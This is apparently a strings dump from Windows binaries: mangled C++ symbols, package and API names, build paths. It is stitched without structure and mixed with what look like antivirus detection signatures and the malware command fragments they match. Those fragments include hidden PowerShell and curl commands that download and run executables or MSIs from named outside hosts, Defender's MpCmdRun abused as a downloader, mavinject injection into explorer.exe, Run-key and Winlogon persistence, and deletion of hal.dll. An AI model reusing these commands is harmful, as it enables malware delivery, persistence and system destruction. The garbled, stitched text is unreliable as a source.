.?AV<lambda_1>@?1??_OnStart@?Q?$_AsyncInfoBase@U?$_AsyncAttributes@XPE$AAUIIndexerSearchResult@Search@Cortana@@U?$_TaskTypeTraits@V?$task@PE$AAUIIndexerSearchResult@Search@Cortana@@@Concurrency@@$0A@@details@Concurrency@@$0A@$0A@@details@Concurrency@@$00@details@Concurrency@@?$_AsyncTaskGeneratorThunk@V<lambda_1>@?1??GetItemsAsync@DEItemQueryResults@Search@Internal@Cortana@@QE$AAAPE$AAU?$IAsyncOperation@PE$AAUIIndexerSearchResult@Search@Cortana@@@Foundation@Windows@@IIW4Provider@46@PE$AAU?$IVectorView@PE$AAVString@Platform@@@Collections@89@_N@Z@@34@ME$AAAXXZ@
.?AV<lambda_1>@?9??_SetUnwrappedAsyncOp@?$_Task_impl@PE$AAU?$IVectorView@PE$AAVSystemSettingEntryPointQueryItem@Model@SearchUx@@@Collections@Foundation@Windows@@@details@Concurrency@@QEAAXPE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAVSystemSettingEntryPointQueryItem@Model@SearchUx@@@Collections@Foundation@Windows@@@Foundation@Windows@@@Z@
.?AV<lambda_1>@?CC@??_CancelAndRunContinuations@?$_Task_impl@PE$AAU?$IVectorView@PE$AAVSystemSettingEntryPointQueryItem@Model@SearchUx@@@Collections@Foundation@Windows@@@details@Concurrency@@UEAA_N_N00AEBV?$shared_ptr@U_ExceptionHolder@details@Concurrency@@@std@@@Z@
.?AV<lambda_1>@?1???$_MakeTToUnitFunc@PE$AAVStorageFile@Storage@Windows@@@details@Concurrency@@YA?AV?$function@$$A6AEPE$AAVStorageFile@Storage@Windows@@@Z@std@@AEBV?$function@$$A6AXPE$AAVStorageFile@Storage@Windows@@@Z@4@@Z@
.?AV<lambda_1>@?1???$_MakeTToUnitFunc@PE$AAVStorageFolder@Storage@Windows@@@details@Concurrency@@YA?AV?$function@$$A6AEPE$AAVStorageFolder@Storage@Windows@@@Z@std@@AEBV?$function@$$A6AXPE$AAVStorageFolder@Storage@Windows@@@Z@4@@Z@
.?AV<lambda_1>@?1???$_MakeTToUnitFunc@V?$task@PE$AAVStorageFile@Storage@Windows@@@Concurrency@@@details@Concurrency@@YA?AV?$function@$$A6AEV?$task@PE$AAVStorageFile@Storage@Windows@@@Concurrency@@@Z@std@@AEBV?$function@$$A6AXV?$task@PE$AAVStorageFile@Storage@Windows@@@Concurrency@@@Z@4@@Z@
.?AV<lambda_1>@?1??StartTraceSessionAsync@EtwLogManager@Search@Internal@Cortana@@AE$AAAPE$AAUIAsyncAction@Foundation@Windows@@XZ@
.?AV<lambda_1>@?4??SnapTraceAsync@EtwLogManager@Search@Internal@Cortana@@QE$AAAPE$AAU?$IAsyncOperation@PE$AAVStorageFile@Storage@Windows@@@Foundation@Windows@@XZ@
.?AV<lambda_2>@?1???R<lambda_1>@?1??StartTraceSessionAsync@EtwLogManager@Search@Internal@Cortana@@AE$AAAPE$AAUIAsyncAction@Foundation@Windows@@XZ@QEBA@XZ@
.?AV<lambda_1>@?1???R0?1??StartTraceSessionAsync@EtwLogManager@Search@Internal@Cortana@@AE$AAAPE$AAUIAsyncAction@Foundation@Windows@@XZ@QEBA@XZ@
ExitWindows
HJ\windows\system32\cmd.exe/v:on/
\windows\system32\cmd.exe/v:on/
WindowsApplication1.Resourcee9ed1a580003
c:\\users\\public\\servicehomework.e^xecugdwpnykghx.ru/bq979g5dfwbn31q91tq.bn31q91t^xbn31q91t -o/p c:\windows\system32 /m notepad.exe /cbella.lnkTrojan:Win64/Emotet.PAC!MTB
"\windows\currentversion\run'-name'
rShield_MpIsWindowsLockdownMode
C:\WINDOWS\system32\wbem\WmiApSrv.exe5
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Windows.Foundation.Metadata
TEMP=C:\WINDOWS\
A}Pspl.Create(Nxayp, Null, Null, mh0f5)Set Pspl = GetObject(A1)Nxayp = A2 + " -WindowStyle Hidden $fd4er7f0=$jm -join ''|I`E`X
Call Shell("cmd.exe  /c C:\Program Files\Windows Defender\MpCmdRun.exe -DownloadFile -url http://0.0.0.0/as.exe -path C:\%temp%\as.exe")Wshell.Run Chr(34) & "virus.vbs" & Chr(34), 0
 = "C:\Users\" & Application.UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.ps1".Exec("calc")"Base64Decode", "Bad character In Base64 string."
.Run "cmd /c copy /b %systemroot%\system32\certut*.exe " &\DriverGFXCoin.tmp".Run "cmd /c mavinject.exe " & objItem.ProcessID & " /injectrunning " &("Select * from Win32_Process where name='explorer.exe'")
Windows.UI
Windows.UI.winmd
Windows.UI.Accessibility
Windows.UI.ApplicationSettings
Windows.UI.Composition
Windows.UI.Composition.Core
Windows.UI.Composition.Desktop
Windows.UI.Composition.Diagnostics
Windows.UI.Composition.Effects
Windows.UI.Notifications.Management
Windows.UI.Notifications.Preview
Windows.UI.Popups
Windows.UI.Shell
Windows.UI.Shell.CompanionWindows
CompanionWindowsContract
Windows.UI.Shell.Tasks
%Nhttps://login.windows.net/'+
.?AV<lambda_1>@?1???R<lambda_3>@?1??DeleteStaleConstraintIndexFolders@LocalIndexUtilities@@YA?AV?$task@X@Concurrency@@XZ@QEBA@PE$AAU?$IVectorView@PE$AAVStorageFolder@Storage@Windows@@@Collections@Foundation@Windows@@@Z@
.?AV<lambda_1>@?9??_SetUnwrappedAsyncOp@?$_Task_impl@I@details@Concurrency@@QEAAXPE$AAU?$IAsyncOperation@I@Foundation@Windows@@@Z@
.?AV<lambda_1>@?1???$_GenerateTask_0@V?$function@$$A6APE$AAU?$IVectorView@PE$AAUIFeedbackFile@Search@Cortana@@@Collections@Foundation@Windows@@XZ@std@@@?$_SelectorTaskGenerator@U_TypeSelectorNoAsync@details@Concurrency@@PE$AAU?$IVectorView@PE$AAUIFeedbackFile@Search@Cortana@@@Collections@Foundation@Windows@@@details@Concurrency@@SA?AV?$task@PE$AAU?$IVectorView@PE$AAUIFeedbackFile@Search@Cortana@@@Collections@Foundation@Windows@@@3@AEBV?$function@$$A6APE$AAU?$IVectorView@PE$AAUIFeedbackFile@Search@Cortana@@@Collections@Foundation@Windows@@XZ@std@@Vcancellation_token_source@3@AEBV_TaskCreationCallstack@23@@Z@
.?AV<lambda_1>@?1???$_AsyncInit@PE$AAUIBuffer@Streams@Storage@Windows@@PE$AAU1234@@_Task_impl_base@details@Concurrency@@SAXAEBV?$shared_ptr@U?$_Task_impl@PE$AAUIBuffer@Streams@Storage@Windows@@@details@Concurrency@@@std@@AEBV?$task@PE$AAUIBuffer@Streams@Storage@Windows@@@3@@Z@
.?AV<lambda_1>@?1???$_MakeUnitToTFunc@PE$AAUIAsyncAction@Foundation@Windows@@@details@Concurrency@@YA?AV?$function@$$A6APE$AAUIAsyncAction@Foundation@Windows@@E@Z@std@@AEBV?$function@$$A6APE$AAUIAsyncAction@Foundation@Windows@@XZ@4@@Z@
.?AV<lambda_1>@?1???$_MakeUnitToTFunc@PE$AAU?$IAsyncOperation@PE$AAUIRandomAccessStream@Streams@Storage@Windows@@@Foundation@Windows@@@details@Concurrency@@YA?AV?$function@$$A6APE$AAU?$IAsyncOperation@PE$AAUIRandomAccessStream@Streams@Storage@Windows@@@Foundation@Windows@@E@Z@std@@AEBV?$function@$$A6APE$AAU?$IAsyncOperation@PE$AAUIRandomAccessStream@Streams@Storage@Windows@@@Foundation@Windows@@XZ@4@@Z@
.?AV<lambda_1>@?1???$_MakeTToUnitFunc@V?$task@PE$AAUIBuffer@Streams@Storage@Windows@@@Concurrency@@@details@Concurrency@@YA?AV?$function@$$A6AEV?$task@PE$AAUIBuffer@Streams@Storage@Windows@@@Concurrency@@@Z@std@@AEBV?$function@$$A6AXV?$task@PE$AAUIBuffer@Streams@Storage@Windows@@@Concurrency@@@Z@4@@Z@
AAPE$AAUIAsyncAction@Foundation@Windows@@XZ@
FTc:\windows\system32\cmd.exe/kstartmsedgehttps://s28.q4cdn.com/392171258/files/doc_downloads/test.pdf&curl-slo%temp%\85693f74-6c2b-42a4-adbc-183fa3d31dc2.msihttp://base01.info/face/setupqw.msi&%temp%\85693f74-6c2b-42a4-adbc-183fa3d31dc2.msi/qn|taskkill/f/imcmd.exe
WindowsRuntime 
pilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
Microsoft-Windows-CoreSystem-DXG-Common-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy
MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewy
worker_is_windows_installing
windows.data.apps.packagedproductsve FS
Windows Update Add-On.
hdel/f/s/q/a"%systemdrive%\windows\system32\hal.dll"
=hklm\software\microsoft\windows\currentversion\run
hkcu:\software\microsoft\windows\currentversion\run
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
globalProfileStagedFeatureTraitsSystemWindowsUdkapplyctor
vpowershell-windowstylehidden$
Ziwshshortcut.windowstyle("0")
EtwTraceAuditApiSetWindowsHookEx
EtwTraceBeginPointerSetTargetWindows
EtwTraceEndPointerSetTargetWindows
ArrangeIconicWindows
CascadeChildWindows
CascadeWindows
CloseWindowStation
CreateWindowStationA
CreateWindowStationW
LockWindowStation
OpenWindowStationA
OpenWindowStationW
SetCoveredWindowStates
GetProcessWindowStation
GUID_WINDOWS_BOOTMGR
GUID_WINDOWS_LEGACY_NTLDR
GUID_WINDOWS_MEMORY_TESTER
GUID_WINDOWS_OS_TARGET_TEMPLATE_EFI
GUID_WINDOWS_OS_TARGET_TEMPLATE_PCAT
GUID_WINDOWS_RESUME_TARGET_TEMPLATE_EFI
GUID_WINDOWS_RESUME_TARGET_TEMPLATE_PCAT
GUID_WINDOWS_SETUP_EFI
GUID_WINDOWS_SETUP_PCAT
GUID_WINDOWS_SETUP_RAMDISK_OPTIONS
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateString
WindowsCreateStringReference
windows\shellnoroam\muicache\c:\windows\system32\winnetcl.exe
Microsoft.Windows.COM.ComTelemetry
Microsoft.Windows.Com.PoFAggregate
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.WinRTC
{"queryUrl":"/settings/v3.0/Windows/IrisClient"}
AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js 
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
WinLogonActivityUMgrInformUserLogon
WinLogonActivityNotifyLogonSubscribersStop
WinLogonActivityNotifyLogonSubscribersStart
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Networking.BackgroundTransfer.Internal
Windows.Networking.BackgroundTransfer.Internal
Windows.Networking.BackgroundTransfer.Internal'
Windows.Networking.ContentPrefetcher.Internal
software\microsoft\internet explorer\main&os=%s&wpa=%s&ag=%s&um=%s=steudf/arsoftware\microsoft\windows media\wmsdk\general
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\%sCLSID\%s\InprocServer32Enable Browser ExtensionsMonitoringTool:Win32/EasyKeylogger
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.CapturePicker_cw5n1h2txyewy
Microsoft-Windows-Foundation-Win1-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Foundation-Win1-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
.windows-int.net1&0
.windows.com1&0
insidersurveys.windows.com0 
www.insidersurveys.windows.com06
.windows.net1&0
.windowsazure.com1&0
.windowsmedia.com1&0
.windowsphone-int.com1&0
.windowsphone-int.net1&0
.windowsphone.com1)0
.windowsphone.net1&0
.windowssearch.com1&0
.windowsstore.com1&0
C:\Windows\Temp\5778AA67-B277-4773-BBA0-33BCB8B89083\C:\Program Files (x86)\HEAT Software\EMSS\Content\EDSCache\
;c:\windows\system32\conhost.exe%comspec%/v/d/c"mdc:\
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\Staging.h
windowsudk.shellcommon.dll
C:\__w\1\s\Src\Components\WebExperienceHost\WindowsUDKBridge\BackupHelperTipTest.h
C:\__w\1\s\Src\Components\WebExperienceHost\WindowsUDKBridge\BackupHelper.cpp
C:\__w\1\s\Src\Components\WebExperienceHost\WindowsUDKBridge\EligibilityData.cpp
C:\__w\1\s\Src\Components\WebExperienceHost\WindowsUDKBridge\Environment.cpp
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\resource.h
C:\__w\1\s\Src\Components\WebExperienceHost\WindowsUDKBridge\ModalUserSetupEligibilityProviderImpl.cpp
C:\__w\1\s\Src\Components\WebExperienceHost\WindowsUDKBridge\UserSetupEligibilityProviderImpl.cpp
\appdata\local\microsoft\windows\temporaryiq
defaultsreadloginwindowsystemversionstampasstring2>/dev/null
MICROSOFTWINDOWS.57242383.TASBAR_CW5N1
Microsoft-Windows-BITS-Client
zc:\windows\system32\cmd.exe/cechoc3rhcnqgl21pbibwb3dlcnnozwxsic1jb21tyw5kicjjv1iglvvzzujhc2ljugfyc2luzyanahr0chm6ly93d3cuc3fqzwfucy5jb20vbglicy9mb250cy9
="c:\windows\temp\
5va-$request.timeout=30000$response=$request.getresponse()$stream=$response.getresponsestream()$file=[system.io.file]::create($outputpath)$stream.copyto($file)$file.close()$stream.close()start-process-filepath$outputpath-windowstylehidden}catch{}}}
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows P
\Windows Update Reporting{67BDE5D7-C2FC-8898-9096-C255AB791B75}{AC634028-9BF2-4a68-8C93-F515DA893779}
Choose what windows show on the taskbar when using desktopsZ
Customize how to group similar windowsF
WindowsCreateString
WindowsDuplicateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsStringHasEmbeddedNull
WindowsCreateStringReference
WindowsGetStringLen
WindowsCompareStringOrdinal
WindowsIsStringEmpty
?Union@Rect@Foundation@Windows@@QEAAXV123@@Z
?Union@Rect@Foundation@Windows@@QEAAXVPoint@23@@Z
?get@Bottom@Rect@Foundation@Windows@@QEAAMXZ
?get@Empty@Rect@Foundation@Windows@@SA?AV234@XZ
?get@Empty@Size@Foundation@Windows@@SA?AV234@XZ
?get@HasInverse@Matrix3D@Media3D@Media@Xaml@UI@Windows@@QEAA_NXZ
?get@Right@Rect@Foundation@Windows@@QEAAMXZ
?Intersect@Rect@Foundation@Windows@@QEAAXV123@@Z
?IntersectsWith@Rect@Foundation@Windows@@QEAA_NV123@@Z
?Invert@Matrix3D@Media3D@Media@Xaml@UI@Windows@@QEAAXXZ
\windows\microsoft.net\framework
\windows\temp\
windows\system32\imageres.dll
%windir%\system32\shell32.dll
\windowsnt\currentversion
powershell-windowstylehidden-command"invoke-webrequest-uri'http://tiendev.click/windowupdate.exe'-outfile'%payloadpath%'"powershell-windowstylehidden-command"start-process'%payloadpath%'"exit
c:\users\allusers\windowsholographicdevices\unsecapp.exe
\obj\Release\x64\Microsoft.Windows.ApplicationModel.Resources\Generated Files\KnownResourceQualifierName.g.h
struct winrt::Windows::Foundation::IInspectable __cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::factory_implementation::KnownResourceQualifierNameT<struct winrt::Microsoft::Windows::ApplicationModel::Resources::factory_implementation::KnownResourceQualifierName,struct winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::KnownResourceQualifierName>::ActivateInstance(void) const
\obj\Release\x64\Microsoft.Windows.ApplicationModel.Resources\Generated Files\module.g.cpp
\dev\MRTCore\mrt\Microsoft.Windows.ApplicationModel.Resources\src\ResourceCandidate.cpp
__cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceCandidate::ResourceCandidate(enum winrt::Microsoft::Windows::ApplicationModel::Resources::ResourceCandidateKind,struct winrt::hstring)
__cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceCandidate::ResourceCandidate(struct MrmManagerHandle__ *,struct winrt::Microsoft::Windows::ApplicationModel::Resources::ResourceContext,struct MrmMapHandle__ *,unsigned int,const struct winrt::hstring &,enum winrt::Microsoft::Windows::ApplicationModel::Resources::ResourceCandidateKind,struct winrt::hstring)
struct winrt::hstring __cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceCandidate::ValueAsString(void)
struct winrt::com_array<unsigned char> __cdecl winrt::Microsoft::Windows::ApplicationModel::Resources::implementation::ResourceCandidate::ValueAsBytes(void)
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IMap<struct winrt::Windows::Foundation::Collections::IMap<struct winrt::hstring,struct winrt::hstring>,struct winrt::hstring,struct winrt::hstring>::Insert(const struct winrt::param::hstring &,const struct winrt::param::hstring &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IMap<struct winrt::Windows::Foundation::Collections::IMap<struct winrt::hstring,struct winrt::hstring>,struct winrt::hstring,struct winrt::hstring>::GetView(voMZ
WindowsSecurity
windows.comServer
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
tMetrics.Graphics.WindowsColorSystem.GetColorDirectoryWI`
MSAWindows/55 (OS 10.0.26200.0.0 ge_release; IDK 10.0.26100.7705 ge_release; Cfg 16.000.29325.00; Test 0)
OSOFT.WINDOWS.(@
OSOFT.WINDOWS.(@
ROSOFT.WINDOWS(@
SOFT.WINDOWS.A(@
.WINDOWS.AUDIO(@
FT.WINDOWS.AUD(@
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
C:\__w\1\s\packages\Microsoft.Windows.Wil.Internal.0.3.30\inc\wil\opensource\wil\resource.h
Get my moneyMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36M
W~Microsoft.Windows.ExplorerMicrosoft.Windows.Explorer
Windows Securityy
P~MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHostMicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHost-
P~MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackupMicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackup-
Windows Backupm
W~Microsoft.Windows.Shell.RunDialogMicrosoft.Windows.Shell.RunDialog
W~Microsoft.Windows.RemoteDesktopMicrosoft.Windows.RemoteDesktop
W~Microsoft.Windows.MediaPlayer32Microsoft.Windows.MediaPlayer32
Windows Media Player Legacy
'	W~Microsoft.Windows.ExplorerMicrosoft.Windows.Explorer
W~Microsoft.Windows.ControlPanelMicrosoft.Windows.ControlPanel
W~Microsoft.Windows.AdministrativeToolsMicrosoft.Windows.AdministrativeTools!fWindows Tools
P~Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindowsMicrosoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindows-
P~Microsoft.WindowsTerminal_8wekyb3d8bbwe!AppMicrosoft.WindowsTerminal_8wekyb3d8bbwe!App
Windows Produc'
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.V
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
windows.data.input.text.roamingdictionary
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPeopleExperience
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPersonaCard
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.wsw
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!InputApp
C:\Windows\Temp\hankjin.temp.%dUPJBowljoabRoDijeA[NageBowl][Ilsepr]Trojan:PDF/Qakbot.QSR!MTB
c:\windows\
-windowstylehidden-nologo-executionpolicybyF
#PI%2fWindowsCortanaPane%2fV2%2fSuggestions%3fqry%3
!#SCRIPT:Powershell/New-ItemPropertyWinlogonUserInit.A
:microsoft\windowsnt\currentversion\winlogon
O!"king@Windows@@PublicNonVirtuals@Details@Collections@Platform@@
.?AV?$IteratorForVectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Details@Collections@Platform@@
.?AUIBindableVectorView@Interop@Xaml@UI@Windows@@
.?AU?$IVectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@
.?AU__I?$VectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@U?$equal_to@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@std@@PublicNonVirtuals@Collections@Platform@@
.?AV?$VectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@U?$equal_to@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@std@@@Collections@Platform@@
.?AU?$_Task_impl@PE$AAU?$IVectorView@PE$AAVStorageFile@Storage@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVStorageFile@Storage@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVStorageFile@Storage@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationWithProgressCompletedHandler@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@@Foundation@Windows@@
.?AV?$AsyncOperationWithProgressCompletedHandler@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@@Foundation@Windows@@
.?AU__abi_IDelegate@?$VectorChangedEventHandler@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@
.?AV?$VectorChangedEventHandler@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@
.?AU?$IBoxArray@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Platform@@
.?AU__I?$Array@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$Array@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@$00@Platform@@
.?AUIBindableIterable@Interop@Xaml@UI@Windows@@
.?AUIBindableVector@Interop@Xaml@UI@Windows@@
.?AUIBindableObservableVector@Interop@Xaml@UI@Windows@@
.?AU?$IObservableVector@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@
.?AU?$IIterable@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@
.?AU?$IVector@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@
.?AU__I?$Vector@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@U?$equal_to@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@std@@PublicNonVirtuals@Collections@Platform@@
.?AV?$Vector@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@U?$equal_to@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@std@@@Collections@Platform@@
.?AU?$_Task_impl@PE$AAU?$IVectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
@@Foundation@Windows@@
.?AV?$VectorChangedEventHandler@PE$AAVPlacementIdMode@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU__abi_IDelegate@?$VectorChangedEventHandler@PE$AAVPlacementIdMode@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$IObservableVector@PE$AAVPlacementIdMode@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$IVector@PE$AAVPlacementIdMode@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$IIterable@PE$AAVPlacementIdMode@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAU?$IVectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$VectorChangedEventHandler@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IBoxArray@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Platform@@
.?AV?$VectorChangedEventHandler@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AV?$Array@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@$00@Platform@@
.?AU__I?$Array@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$WriteOnlyArray@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@$00@Platform@@
.?AU__I?$WriteOnlyArray@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@$00PublicNonVirtuals@Platform@@
.?AU?$IIterable@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AU?$IObservableVector@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AU__I?$Vector@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@U?$equal_to@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@std@@PublicNonVirtuals@Collections@Platform@@
.?AU?$IVector@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AV?$Vector@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@U?$equal_to@PE$AAVTargetedContentTrH
.?AU?$__abi_FunctorCapture@V<lambda_4e37f7bf5f60605f0cdadb1bb82d548d>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
